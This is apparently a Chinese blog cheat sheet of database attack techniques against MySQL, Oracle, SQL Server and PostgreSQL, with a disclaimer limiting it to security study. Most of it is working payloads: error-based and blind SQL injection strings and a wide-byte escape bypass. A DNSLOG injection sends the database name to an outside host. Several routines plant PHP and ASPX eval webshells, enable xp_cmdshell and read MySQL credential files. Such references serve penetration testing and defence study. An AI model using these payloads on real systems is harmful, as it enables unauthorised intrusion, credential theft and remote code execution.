数据库利用汇总
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
找笔记是在太烦人了,干脆全部写在一篇里面(来自1年半后的从写
随手测试语句
语句前面适当加入'
、"
、and
等参数
#算个MD5 |
MySQL
常用查询
#查数据库 |
小tips
select*from/**/mysql.user;
select和from中间要是用*
号的话是可以不需要空格的- 如果你报错注入接口返回了
Subquery returns more than 1 row
可以一行一行的读,用上limit 1 offset 2
来获取数据
10种报错注入
毕竟常用的是floor、extractvalue、updatexml这三种方法
floor
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
extractvalue
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); |
updatexml
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); |
geometrycollection
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); |
multipoint
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); |
polygon
select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); |
multipolygon
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); |
linestring
select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); |
multilinestring
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); |
exp
select * from test where id=1 and exp(~(select * from(select user())a)); |
基础操作
字符串处理
left(str,index) #从左边第index开始截取 |
注释
/**/ |
条件语句
一般用在盲注
if(expr1,expr2,expr3) #expr1真执行expr2否则执行expr3 |
空白字符
%20 |
小tip
函数名和括号直接可以插入特殊字符
mysql%0a.%0auser |
宽字节注入
宽字节注入利用了mysql一个特性,即当mysql在使用GBK编码的时候,会认为两个字符是一个汉字。(前一个ASCII码要大于128,才到汉字的范围)
当输入单引号,经addslashes转义后,对应的url编码是():
#对输入的单引号逐层转义 |
当在前面引入一个ASCII大于128的字符(比如%df
),url编码变为:
#添加%df符号后的单引号转义 |
若使用gbk编码的话,%df%5C
会被当作一个汉字处理,从而使%27
(单引号)逃出生天,成功绕过,然后正常只需要进行sql语句拼接注入即可
盲注
时间盲注
主要就是这三种方法sleep、benchmark、笛卡尔积,然后利用字符串处理函数和if条件判断或者case条件判断来进行注入
sleep方法
#case判断 |
benchmark方法
#case判断 |
笛卡儿积
这种方法又叫做heavy query
,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B; |
然后套入判断语句中即可
select host,user,password from mysql.user where User=1 and if((substring(user(),1,1))='r',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1); |
布尔盲注
布尔(Boolean)型是计算机里的一种数据类型,只有True和False两个值,因为不用等待延时所以比时间盲注要快很多
select host,user,password from mysql.user where User=1 and if(substring(user(),1,1)='r',1=1,1=2); |
如果为真第一个语句正确,如果为假第二个语句正确
约束攻击
就是开发的问题,可以参考这篇文章,和注入语句没太大关系
基于DNSLOG的注入
前提条件
- 数据库当前用户为root权限
- secure_file_priv参数为空
其实,就是下面写webshell的一个限制版本,注入语句
select load_file(concat('\\\\',database(),'.dnslog.ascotbe.com\\test')); |
写入webshell
前提条件
-
数据库当前用户为root权限
-
知道当前网站的绝对路径
-
PHP的GPC为 off状态
-
写入的那个路径存在写入权限
注意点:
secure_file_priv参数说明
这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。
-
如果这个参数为空,这个变量没有效果
-
如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它
-
如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入
如果遇到以下情况的话,使用SQL语句中的outfile
是无法成功的,但是写入日志的方法是可以成功的
show variables like '%secure%'; |
开启secure_file_priv
修改my.ini文件后需要重启MySql
secure_file_priv为NULL禁止导出文件secure_file_priv="" |
查看是否有写入权限
select group_concat(user,0x3a,file_priv) from mysql.user; |
基于联合查询
注入点位置如下,后面使用的话会省略这段值
http://127.0.0.1/test/Less-2/?id=1 |
利用outfile方法
UNION ALL SELECT 1,2,"<? phpinfo(); ?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" -- |
可以发现写入成功了,值得注意的是我们写入的是在test目录和123.txt中间没有用双斜杠,这样写入的文件会被过滤了,直接写到了WWW目录而不是test目录里面
利用dumpfile方法,这种方法可以写入16进制数据
UNION ALL SELECT 1,2,"<? phpinfo(); ?>" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" -- |
写入普通数据
把PHP内容写成16进制编码数据在写入
基于非联合查询
into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123.txt" fields terminated by "<? phpinfo(); ?>" %23 -- |
基于log日志写shell法
先看看当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,记下来后面需要改回来的
show variables like '%general%'; |
然后开启日志
set global general_log = on; |
设置日志写入位置
set global general_log_file = 'C:/2.txt'; |
写入日志
select '<?php eval($_POST['ascotbe']);?>'; |
修改为原来的路径
set global general_log_file='c:/xxxxx/xxxx' |
关闭日志记录
set global general_log = off; |
基于创建再导出的方法
连接test数据库
use test; |
搜索并删除存在的ascotbe这个表
drop table if exists ascotbe; |
创建这个表,在里边加个字段xxx
create table ascotbe(xxx text not null); |
在里面写入一句话
insert into ascotbe(xxx) values ('<?php phpinfo(); ?>'); |
然后把这句话导出来
SELECT xxx FROM ascotbe INTO OUTFILE 'D:/2.txt'; |
然后删除表
DROP TABLE ascotbe; |
低权限利用
如果你发现一个注入点,但是这个注入点只是一个普通权限没法写 shell
利用条件:
-
知道一个数据库用户账密
-
能进入到 phpmyadmin 下
-
一些默认文件路径位置没有更改
首先查看日志是否开启,然后看看日志文件路径根据这个路径推算出默认的user.MYD路径。一般默认的位置都是在 Mysql\data\mysql\user.MYD 这个路径下
show variables like '%general%'; |
然后把密码的文件导入到表里面,这边插入的表为ascotbe,这边有个点需要注意下导入文件的位置需要用\
可能会报错,需要替换成/
LOAD DATA LOCAL INFILE 'C:/phpStudy/PHPTutorial/MySQL/data/mysql/user.MYD' INTO TABLE ascotbe FIELDS TERMINATED BY ''; |
可以看到导入成功
Oracle
利用文件访问包写shell
首先是搭建环境,这边选着docker搭建,搭建好直接用navicat连接
这边测试使用的是DBA权限中的system账户
首先创建我们得先建立一个ORACLE的目录对象指向XXXX,这边测试指向的路径为**/home/oracle**
create or replace directory IST0_DIR as '/home/oracle'; |
我们查看docker的路径,以及路径下的内容
如果后面写入失败了可以执行这条命令对这个目录进行授权下
grant read, write on directory IST0_DIR to system; |
然后写入文件
declare |
执行成功
可以发现写入了shell
如果是真实环境的话我们并不能连接服务器,这样我们怎么知道shell是否写入成功呢?
declare |
执行即可读取我们写入的文件内容了
SQL Server
盲注
确认用户数据库权限
角色 | 描述 |
---|---|
sysadmin | 执行SQL Server中的任何动作(sa 权限) |
serveradmin | 配置服务器设置 |
setupadmin | 安装复制和管理扩展过程 |
securityadmin | 管理登录和CREATE DATABASE的权限以及阅读审计 |
processadmin | 管理SQL Server进程 |
dbcreator | 创建和修改数据库 |
diskadmin | 管理磁盘文件 |
bulkadmin | 可以运行 Bulk insert 语句 |
#判断权限 |
SQL注入写shell
首先搭建环境,当前使用的环境是SQL Server 2019,具体的搭建自行百度
拿shell的两大前提
- 有相应的权限db_owner
- 知道web目录的绝对路径
测试的时候默认使用sa进行连接
寻找绝对路径
-
报错信息
-
字典猜
-
旁站的目录
-
存储过程来搜索
-
读配置文件
前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。
在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell
和 xp_dirtree
利用xp_dirtree方法来寻找
先来看xp_dirtree
直接举例子
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 |
列出所有的C盘文件、目录、子目录
只列出目录
列出文件和目录
注意
这边使用xp_dirtree
举例所列出的文件都是基于当前盘符当前目录的,不包括目录里面的文件,比如我们查看D盘内容
可以看到只有两个文件,可以论证之前说的
真实环境下的操作
当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int); |
然后查询下表发现成功写入
利用xp_cmdshell方法来寻找
SQL Server 阻止了对组件
xp_cmdshell
的过程sys.xp_cmdshell的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。
如果遇到xp_cmdshell
不能调用解决方法,这样我们就只能能执行CMD命令了,开启方面需要连接数据库才行。PS:如果都开启这种方法就不用写shell了直接执行CMD下载木马即可
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数 |
接下来我们先来看cmd中怎么查找文件,该条命令如果用powershell会报错
for /r d:\ %i in (2*.php) do @echo %i |
需要建立一个表 存在一个char字段就可以了
http://xx.xx.xx.xx/test.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000)); |
成功查询出结果
写入Webshell
利用xp_cmdshell命令写shell
上面说了xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径,如果不存在路径会报错。
http://xx.xx.xx.xx/test.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\test\\ascotbe.aspx' ; |
写入成功
差异备份写shell
因为权限的问题,最好不要备份到盘符根目录
当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。
http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk = 'D:\bak.bak';-- |
这里测试只能进行备份,执行最后一句差异备份会报错,所以可以直接进行备份写shell,虽然文件会很大
可以看到shell是写进去了,就是文件有点大
log备份写shell
LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式
//以下步骤省略http://xx.xx.xx.xx/test.aspx?id=1 |
PostgreSQL
常用查询
#查看版本信息 |
盲注
通过case判断语句和pg_sleep函数进行盲注
#原始语句 |
参考文章
https://www.cnblogs.com/springside-example/archive/2007/09/06/2529958.html |